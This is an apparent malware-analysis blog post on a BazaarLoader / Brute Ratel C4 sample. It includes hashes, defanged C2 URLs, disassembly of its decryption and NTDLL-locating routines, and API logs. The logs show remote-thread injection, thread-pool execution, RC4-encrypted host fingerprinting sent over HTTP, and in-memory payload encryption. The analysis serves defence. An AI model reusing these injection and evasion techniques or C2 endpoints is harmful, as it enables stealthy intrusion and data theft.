BazaarLoader / BRUTERATEL

Context

Dropper SHA256 : 1b9e17bfbd292075956cc2006983f91e17aed94ebbb0fb370bf83d23b14289fa
BazaarLoader SHA256 : 5C7A3BD2BAA8303354D8098B8D5961F111E467002BB0C6FEE120825B32798228

Dropper Source :
virusshare
contagiodump

Payload Source :
virusshare

VirusTotal :
Dropper
BazaarLoader

Network / C2 :
http://tiguanin[.]com/bazar.php:8041
http://bazarunet[.]com/admin.php:8041
http://greshunka[.]com/bazar.php:8041

Report :
https://blog.eclecticiq.com/inside-intelligence-center-lunar-spider-enabling-ransomware-attacks-on-financial-sector-with-brute-ratel-c4-and-latrodectus

Analyzed sample is a 64bit malware named by various security engines BazaarLoader or BruteRatel C4.

As usual, results from dynamic analysis are shared in my repository (logs)


** Commentary **

Analyzed sample contains many protection against runtime analysis / detection :


Encrypted Resource DLL

Main DLL contains an encrypted resource with a size of 0x48C00 bytes :

Resource

Getting the resource after decryption is quite straightforward, first locate a VirtualAlloc call with a size matching the resource’s size :

[CNT] [109]
[PTP] [0x764] [0x708] [c:\windows\system32\rundll32.exe]
[API] <VirtualAlloc> in [KERNEL32.DLL] 
[PAR] LPVOID lpAddress    : 0x0
[PAR] SIZE_T dwSize       : 0x48c00  <-- same size as resource>
[PAR] DWORD  flProtect    : 0x4 (PAGE_READWRITE)
[RET] [0x1800e943b] in [x64_stealth.dll]

The resource is decrypted right after the call with the following routine :

call    rdi ; VirtualAlloc
__0x1800e943b:
mov 	rbx,18017A494h
mov     r15,rax
mov     r11,rax
sub     rbx,rax
mov     r10d,r14d
__loop:
movsxd  r8,r10d
mov 	rax,2492492492492493h
add     r10d,r12d
mov     rcx,r8
mul     rax,r8
sub     rcx,rdx
shr     rcx,1
add     rcx,rdx
shr     rcx,4
imul    rax,rcx,1Ch
sub     r8,rax
mov     al,byte ptr [rsp+r8+20h]
xor     al,byte ptr [rbx+r11]
mov     byte ptr [r11],al
add     r11,r12
cmp     r10d,48C00h   ; resource size
jb      __loop

I’ve uploaded the decrypted resource (badger_x64_stealth_rtl.bin.packed.dll), which is still a packed DLL, on MalwareBazar for anyone interested.

I’ve also uploaded the final unpacked payload here MalwareBazar

NTDLL Base Address

The sample use the fact that PEB->LDR is located whithin NTDLL image to locate its base address :

                       mov   	rax,qword ptr gs:[60h]  	; rax = PEB
                       mov     	rax,qword ptr [rax+18h] 	; rax+18h = PEB->LDR
                       jmp     	__start
                       nop
__findheaderloop: 
                       sub     	rax,1
__start: 
                       cmp     	word ptr [rax],5A4Dh 		; 'MZ' Magic
                       jne     	__findheaderloop
                       movsxd  	rdx,dword ptr [rax+3Ch]
                       lea     	rcx,[rdx-40h]
                       cmp     	rcx,3BFh
                       ja      	__findheaderloop
                       cmp     	dword ptr [rax+rdx],4550h	; 'PE' Magic
                       jne     	__findheaderloop
                       ret

memory layout:

            Address  	  Symbol							
            7fff883dc000  Limit NTDLL			(NTDLL Base + Size)
            7fff88360320  _PEB_LDR_DATA                 (PEB->Ldr)
            7fff88230000  C:\Windows\SYSTEM32\ntdll.dll (NTDLL Base Address)
            ...
            7ff7409a3000  PEB
            ...
            00876d490000  C:\Windows\system32\rundll32.exe

sub rax,1 : Here the developper was a bit lazy and used a 1 byte decrement instead on aligning on PAGE_SIZE and decrementing 0x1000 bytes at a time.


In memory execution

[CNT] [185]
[PTP] [0xa6c] [0xb3c] [c:\windows\system32\rundll32.exe]
[API] <VirtualAllocEx> in [KERNEL32.DLL] 
[PAR] HANDLE hProcess     : 0xffffffff
[PAR] LPVOID lpAddress    : 0x0
[PAR] SIZE_T dwSize       : 0x3dbbf
[PAR] DWORD  flProtect    : 0x40 (PAGE_EXECUTE_READWRITE)
[RET] [0x2e4d113c9]

[ * ] [pid 0xa6c][tid 0xb3c] c:\windows\system32\rundll32.exe
[API] <VirtualAllocEx>
[RES] LPVOID  0x000000E0400B0000

[CNT] [186]
[PTP] [0xa6c] [0xb3c] [c:\windows\system32\rundll32.exe]
[API] <WriteProcessMemory> in [KERNEL32.DLL] 
[PAR] HANDLE  hProcess      : 0xffffffff
[PAR] LPVOID  lpBaseAddress : 0x000000E0400B0000
[PAR] LPCVOID lpBuffer      : 0x00000002E4D13010
[PAR] SIZE_T  nSize         : 0x3dbbf
[RET] [0x2e4d113fe]

[CNT] [187]
[PTP] [0xa6c] [0xb3c] [c:\windows\system32\rundll32.exe]
[API] <CreateRemoteThread> in [KERNEL32.DLL] 
[PAR] HANDLE                 hProcess           : 0xffffffff
[PAR] LPSECURITY_ATTRIBUTES  lpThreadAttributes : 0x0
[PAR] SIZE_T                 dwStackSize        : 0x0
[PAR] LPTHREAD_START_ROUTINE lpStartAddress     : 0x00000002E4D11370
[PAR] LPVOID                 lpParameter        : 0x000000E0400B0000
[PAR] DWORD                  dwCreationFlags    : 0x0
[PAR] LPDWORD                lpThreadId         : 0x0
[RET] [0x2e4d11434]

A little trick regarding this CreateRemoteThread call, the thread’s StartAddress doesn’t point directly to the PAGE_EXECUTE_READWRITE allocated memory. Instead, lpStartAddress points to an jmp rcx instruction, rcx beeing the lpParameter from the created thread.


Thread Pool Worker Threads

[CNT] [235]
[PTP] [0xa6c] [0xabc] [c:\windows\system32\rundll32.exe]
[API] <TpAllocWork> in [ntdll.dll] 
[PAR] PTP_WORK             *WorkReturn     : 0x000000E041D0E810
[PAR] PTP_WORK_CALLBACK    Callback        : 0x000000E041C53250
[PAR] PVOID                Context         : 0x000000E041D0E818
[PAR] PTP_CALLBACK_ENVIRON CallbackEnviron : 0x0
[RET] [0xe041c678a7]

[CNT] [236]
[PTP] [0xa6c] [0xabc] [c:\windows\system32\rundll32.exe]
[API] <TpPostWork> in [ntdll.dll] 
[PAR] PTP_WORK    Work : 0x000000E03FD92D90
[RET] [0xe041c678b2]

[CNT] [237]
[PTP] [0xa6c] [0xabc] [c:\windows\system32\rundll32.exe]
[API] <TpReleaseWork> in [ntdll.dll] 
[PAR] PTP_WORK    Work : 0x000000E03FD92D90
[RET] [0xe041c678bd]

Thread created by monitored process : Now monitoring [pid 0xa6c][tid 0xac4] <--ThreadPool Worker Thread>

[CNT] [238]
[PTP] [0xa6c] [0xac4] [c:\windows\system32\rundll32.exe]
[INF] [ Thread is from a Worker Pool ]
[API] <LoadLibraryExA> in [KERNEL32.DLL] 
[PAR] LPCTSTR lpFileName : 0x000000E041D0E893 ("iphlpapi.dll") <--DLL loaded by the worker thread>
[PAR] DWORD   dwFlags    : 0x0 (Same behavior as LoadLibrary)
[RET] 0x7ffa026353c7                                           <--return address in NTDLL>

The sample relies on the ThreadPool worker thread feature to execute various sensitives actions.
MSDN : https://learn.microsoft.com/en-us/windows/win32/procthread/thread-pool-api
Some POC : https://github.com/mobdk/WinSpoof

Interestingly, the creation of a ThreadPool Worker thread doesn’t seem to trigger any notification to the PsSetCreateThreadNotifyRoutine kernel callback interface…


Undocumented encryption routines

[ * ] [pid 0xa6c][tid 0xabc] c:\windows\system32\rundll32.exe
[API] <_vsnprintf>
[PAR] char_t   *buffer : 0x000000E03FD58240
[STR]          -> "{"cds":{"auth":"OV1T557KBIUECUM5"},"mtdt":{"h_name":"home","wver":"x64/6.3","ip":"169.254.143.85","arch":"x64","bld":"96"
[STR]             "00","p_name":"QwA6AFwAVwBpAG4AZABvAHcAcwBcAHMAeQBzAHQAZQBtADMAMgBcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlAA==","uid":"user","pi"
[STR]             "d":"2668","tid":"2748"}}"
[RES] int 266

[CNT] [330]
[PTP] [0xa6c] [0xabc] [c:\windows\system32\rundll32.exe]
[API] <SystemFunction032> in [CRYPTSP.DLL] 
[INF] [ Undocumented RC4 implementation ]
[PAR] PBINARY_STRING buffer : 0x000000E041D0E780
[FLD]                -> Length    = 0x10a
[FLD]                -> MaxLength = 0x10a
[FLD]                -> Buffer    = 0x000000E03FD58900 
[PAR] PBINARY_STRING key    : 0x000000E041D0E770
[FLD]                -> Length    = 0x10
[FLD]                -> MaxLength = 0x10
[FLD]                -> Buffer    = 0x000000E03FD5CEE0 ("S47EFEUO3D2O6641")
[RET] [0xe041c54c35]

[...]

[CNT] [340]
[PTP] [0xa6c] [0xabc] [c:\windows\system32\rundll32.exe]
[API] <HttpSendRequestA> in [wininet.dll] 
[PAR] HINTERNET hRequest         : 0xcc000c
[PAR] LPCTSTR   lpszHeaders      : 0x0 (null)
[PAR] DWORD     dwHeadersLength  : 0x0
[PAR] LPVOID    lpOptional       : 0x000000E03FD561C0
[STR]           -> "88ea80d0a8145617084c1971a2e5f10dafc825dfa01aa9131c31eed2159e33380dff1f6c5b2b0f95bf9e3eccd60c1d280c96fa1f4acd82ac6739fad4"
[STR]              "6dc3ae39d58a579d7cbdc8dd1c967704a3b004fc992ed35b62fc6c335fdabf3d06f73d1be31cfa6e400611012495666f57da92a1ce53a79a2a8a3bd1"
[STR]              "a17fa2ed8fb54d132d80e926f544078052cf155d1dfb93137bf25aff3337a6e363e7a802c276d9ed4b0d03bdb4b22fc8ce5ecaa162f5cdca8f199770"
[STR]              "4a349921f9a0b1d11f2dd44af30628be98cea3f63a006f832b5468f7afaeb783ac1299062871d81cb499b6d15a4dbcc66ff0959fdaf1cd309dc790e0"
[STR]              "25725ea1c95ef9ef0283f09beef05c8dc375080d6f0c71cdb1da"
[PAR] DWORD     dwOptionalLength : 0x214
[RET] [0xe041c579dc]

Here the sample is relying on the undocumented SystemFunction032 function from CRYPTSP.DLL to encrypt through RC4 the initial fingerprint of the compromised host (RC4 Key : “S47EFEUO3D2O6641”).


Encrypted in memory payload

[CNT] [350]
[PTP] [0xa6c] [0xabc] [c:\windows\system32\rundll32.exe]
[API] <SystemFunction036> in [CRYPTBASE.DLL] 
[INF] [ RtlGenRandom ]
[PAR] PVOID RandomBuffer       : 0x000000E041D0E8C0
[PAR] ULONG RandomBufferLength : 0x10       // generate a random 16byte key
[RET] [0xe041c68db2]

[...]

[CNT] [389]
[PTP] [0xa6c] [0xaac] [c:\windows\system32\rundll32.exe]
[/!\] [ Illegitimate call detected ! ]
[API] <SystemFunction032> in [CRYPTSP.DLL] 
[INF] [ Undocumented RC4 implementation ]
[PAR] PBINARY_STRING buffer : 0x000000E04227F698
[FLD]                -> Length    = 0x4c000
[FLD]                -> MaxLength = 0x4c000
[FLD]                -> Buffer    = 0x000000E041C50000 
[PAR] PBINARY_STRING key    : 0x000000E04227F6A8
[FLD]                -> Length    = 0x10
[FLD]                -> MaxLength = 0x10
[FLD]                -> Buffer    = 0x000000E04227F684 ([0x82,0x16,0x55,0x8a,0xe4,0xfa,0xff,0x7f,0xf3,0x71,0xf6,0xf8,0x61,0x82,0xcf,0xfa])
[RET] [0x7ffa03692600] in [ntdll.dll]

Here the malware ensure to be fully encrypted whenever possible, which prevents memory dumps as well as in memory signatures. The key is changed after each payload execution. Setting a BreakPoint on this function call enable to dump the unencrypted payload from memory.